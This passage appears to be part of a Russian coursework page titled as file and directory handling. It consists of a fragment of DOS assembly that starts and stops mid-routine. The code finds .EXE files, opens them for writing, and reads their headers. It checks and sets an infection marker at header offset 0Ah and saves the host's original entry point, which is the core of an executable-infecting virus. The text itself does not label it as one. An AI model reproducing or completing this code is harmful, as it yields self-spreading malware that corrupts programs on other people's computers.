Курсовая работа: Работа с каталогами и подкаталогами. Работа с файлами

JNE resend_again

CMP word ptr DS: [DI-2], 4558h

JNE to_no_exe

CMP word ptr DS: [DI-4], 452Eh

JE thats_exe

to_no_exe: JMP no_exe

thats_exe:

MOV CX, 0

MOV AH, 3Dh

MOV AL, 2

CALL call_int21

MOV word ptr CS: [f_number-100h], AX

PUSH CS

POP DS

MOV AH, 3Fh

MOV DX, OFFSET data_exe – 100h

MOV CX, 20h

MOV BX, word ptr CS: [f_number-100h]

CALL call_int21

CMP word ptr DS: [data_exe – 100h + 0Ah], 50h

JNE thats_clear

JMP no_exe

thats_clear:

MOV word ptr DS: [data_exe – 100h + 0Ah], 50h

MOV AX, word ptr CS: [data_exe – 100h + 14h]

MOV word ptr CS: [saved_ip – 100h + 1], AX

MOV AX, word ptr CS: [data_exe – 100h + 16h]

MOV word ptr CS: [saved_cs – 100h + 1], AX

MOV AX, word ptr CS: [data_exe – 100h + 10h]